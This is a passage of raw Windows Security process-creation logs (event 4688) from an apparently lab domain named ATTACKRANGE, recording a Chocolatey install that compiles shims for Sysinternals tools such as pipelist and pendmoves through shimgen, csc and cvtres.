Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246657
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246656
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3fc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pipelist64.exe" --output="C:\ProgramData\chocolatey\bin\pipelist64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pipelist64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246655
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd60
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x824
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE6B1.tmp" "c:\ProgramData\chocolatey\bin\CSCA1CED7AE335E4F66959A6C3633FC99E9.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246654
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x488
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x824
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246653
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x824
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pipelist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_7396\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246652
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246651
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pipelist.exe" --output="C:\ProgramData\chocolatey\bin\pipelist.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pipelist.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246650
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE5E6.tmp" "c:\ProgramData\chocolatey\bin\CSC6F8B23CD7E9A4F029317ACD01BCC69F4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246649
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pendmoves64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_5208\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246647
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246646
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pendmoves64.exe" --output="C:\ProgramData\chocolatey\bin\pendmoves64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pendmoves64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246645
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe90
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE50B.tmp" "c:\ProgramData\chocolatey\bin\CSC74328BCCD8F47F49A925387A5DCC65D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246644
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xddc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe90
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246643
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pendmoves.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123416_3021\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246642
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246641
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pendmoves.exe" --output="C:\ProgramData\chocolatey\bin\pendmoves.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pendmoves.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
